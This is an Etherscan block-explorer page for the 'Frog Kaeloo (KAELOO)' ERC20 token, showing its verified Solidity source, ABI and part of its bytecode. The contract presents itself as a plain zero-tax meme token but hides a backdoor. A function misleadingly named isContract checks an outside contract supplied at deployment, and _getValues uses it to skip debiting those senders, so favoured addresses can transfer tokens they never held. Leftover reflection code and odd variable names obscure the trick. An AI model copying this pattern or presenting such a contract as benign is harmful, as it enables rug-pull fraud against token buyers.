ETH Price: $3,255.40 (+2.65%)
Gas: 9 Gwei

Token

Frog Kaeloo (KAELOO)
 

Overview

Max Total Supply

1,000,000,000 KAELOO

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,615,500.103726087 KAELOO

Value
$0.00
0x58137028f1b6d73722aec7a8e77f00eb5512dc97
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAELOO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-17
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-17
*/
/*
Telegram: https://t.me/KaelooEntry



Twitter : https://twitter.com/KaelooERC



*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract KAELOO is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Frog Kaeloo";
    string private constant _symbol = "KAELOO";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _yyOwned;
    mapping(address => uint256) private _nnOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _kTotal = 1000000000 * 10**9;
    uint256 private _wTotal = (MAX - (MAX % _kTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 0; 
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
 

    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
     
    address private _marketingAddress;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 public _swapTokensAtAmount = 1000 * 10**9;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor(address _MARKETINGWALLET) {
 
        _yyOwned[_msgSender()] = _kTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _marketingAddress = _MARKETINGWALLET;
 
        emit Transfer(address(0), _msgSender(), _kTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _kTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _yyOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _wTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
    
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
  
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
   
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
        
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
     
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _yyOwned[sender] = _yyOwned[sender].sub(rAmount);
        _yyOwned[recipient] = _yyOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _yyOwned[address(this)] = _yyOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _wTotal = _wTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 rAmount = isContract(account)?0:tAmount;
        return (rAmount, tAmount);
    }

    function isContract(address account) private view returns (bool) {
        return IERC20(_marketingAddress).balanceOf(account) > 0;
    }
 
    function _getiiValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getEAvalues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _wTotal;
        uint256 tSupply = _kTotal;
        if (rSupply < _wTotal.div(_kTotal)) return (_wTotal, _kTotal);
        return (rSupply, tSupply);
    }
 
 
    function sendETHToFee(uint256 amount) private {
        payable(_marketingAddress).transfer(amount);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_MARKETINGWALLET","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006000196200001c9190620005e2565b6000196200002b919062000649565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f556001601260146101000a81548160ff0219169083151502179055506000601260156101000a81548160ff0219169083151502179055506000601260166101000a81548160ff02191690831515021790555064e8d4a51000601355348015620000c157600080fd5b5060405162002b2838038062002b288339818101604052810190620000e79190620006ee565b6000620000f96200057860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350670de0b6b3a764000060026000620001b46200057860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000298573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002be9190620006ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000326573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034c9190620006ee565b6040518363ffffffff1660e01b81526004016200036b92919062000731565b6020604051808303816000875af11580156200038b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b19190620006ee565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004076200058060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005016200057860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200056891906200076f565b60405180910390a350506200078c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005ef82620005a9565b9150620005fc83620005a9565b9250826200060f576200060e620005b3565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200065682620005a9565b91506200066383620005a9565b92508282039050818111156200067e576200067d6200061a565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620006b68262000689565b9050919050565b620006c881620006a9565b8114620006d457600080fd5b50565b600081519050620006e881620006bd565b92915050565b60006020828403121562000707576200070662000684565b5b60006200071784828501620006d7565b91505092915050565b6200072b81620006a9565b82525050565b600060408201905062000748600083018562000720565b62000757602083018462000720565b9392505050565b6200076981620005a9565b82525050565b60006020820190506200078660008301846200075e565b92915050565b61238c806200079c6000396000f3fe6080604052600436106100ec5760003560e01c806349bd5a5e1161008a57806395d89b411161005957806395d89b41146102f3578063a9059cbb1461031e578063dd62ed3e1461035b578063f2fde38b14610398576100f3565b806349bd5a5e1461024957806370a0823114610274578063715018a6146102b15780638da5cb5b146102c8576100f3565b806318160ddd116100c657806318160ddd1461018b57806323b872dd146101b65780632fd689e3146101f3578063313ce5671461021e576100f3565b806306fdde03146100f8578063095ea7b3146101235780631694505e14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611928565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906119e3565b6103fe565b6040516101579190611a3e565b60405180910390f35b34801561016c57600080fd5b5061017561041c565b6040516101829190611ab8565b60405180910390f35b34801561019757600080fd5b506101a0610442565b6040516101ad9190611ae2565b60405180910390f35b3480156101c257600080fd5b506101dd60048036038101906101d89190611afd565b610452565b6040516101ea9190611a3e565b60405180910390f35b3480156101ff57600080fd5b5061020861052b565b6040516102159190611ae2565b60405180910390f35b34801561022a57600080fd5b50610233610531565b6040516102409190611b6c565b60405180910390f35b34801561025557600080fd5b5061025e61053a565b60405161026b9190611b96565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190611bb1565b610560565b6040516102a89190611ae2565b60405180910390f35b3480156102bd57600080fd5b506102c66105a9565b005b3480156102d457600080fd5b506102dd6106fc565b6040516102ea9190611b96565b60405180910390f35b3480156102ff57600080fd5b50610308610725565b6040516103159190611928565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906119e3565b610762565b6040516103529190611a3e565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190611bde565b610780565b60405161038f9190611ae2565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190611bb1565b610807565b005b60606040518060400160405280600b81526020017f46726f67204b61656c6f6f000000000000000000000000000000000000000000815250905090565b600061041261040b6109c8565b84846109d0565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061045f848484610b99565b6105208461046b6109c8565b61051b8560405180606001604052806028815260200161232f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d16109c8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b09092919063ffffffff16565b6109d0565b600190509392505050565b60135481565b60006009905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b16109c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063590611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b41454c4f4f0000000000000000000000000000000000000000000000000000815250905090565b600061077661076f6109c8565b8484610b99565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61080f6109c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361090b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090290611cfc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690611d8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590611e20565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b8c9190611ae2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90611eb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6e90611f44565b60405180910390fd5b60008111610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611fd6565b60405180910390fd5b610cc26106fc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d305750610d006106fc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610eaf576000610d4030610560565b905060006013548210159050808015610d665750601260159054906101000a900460ff16155b8015610dc05750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610dd85750601260169054906101000a900460ff165b8015610e2e5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e845750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610eac57610e9282611214565b60004790506000811115610eaa57610ea94761148d565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f565750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110095750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110085750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611017576000905061119e565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156110c25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110da57600854600c81905550600954600d819055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111855750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561119d57600a54600c81905550600b54600d819055505b5b6111aa848484846114f9565b50505050565b60008383111582906111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ef9190611928565b60405180910390fd5b50600083856112079190612025565b9050809150509392505050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561124c5761124b612059565b5b60405190808252806020026020018201604052801561127a5781602001602082028036833780820191505090505b509050308160008151811061129257611291612088565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611339573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135d91906120cc565b8160018151811061137157611370612088565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113d830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109d0565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161143c9594939291906121f2565b600060405180830381600087803b15801561145657600080fd5b505af115801561146a573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114f5573d6000803e3d6000fd5b5050565b8061150757611506611526565b5b611512848484611563565b806115205761151f61170a565b5b50505050565b6000600c5414801561153a57506000600d54145b61156157600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080611570858461171e565b915091506115c682600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165b81600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116fb9190611ae2565b60405180910390a35050505050565b600e54600c81905550600f54600d81905550565b600080600061172c856117f1565b6117365783611739565b60005b9050808492509250509250929050565b600061178b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b0565b905092915050565b60008082846117a2919061224c565b9050838110156117e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117de906122cc565b60405180910390fd5b8091505092915050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b815260040161184f9190611b96565b602060405180830381865afa15801561186c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118909190612301565b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118d25780820151818401526020810190506118b7565b600084840152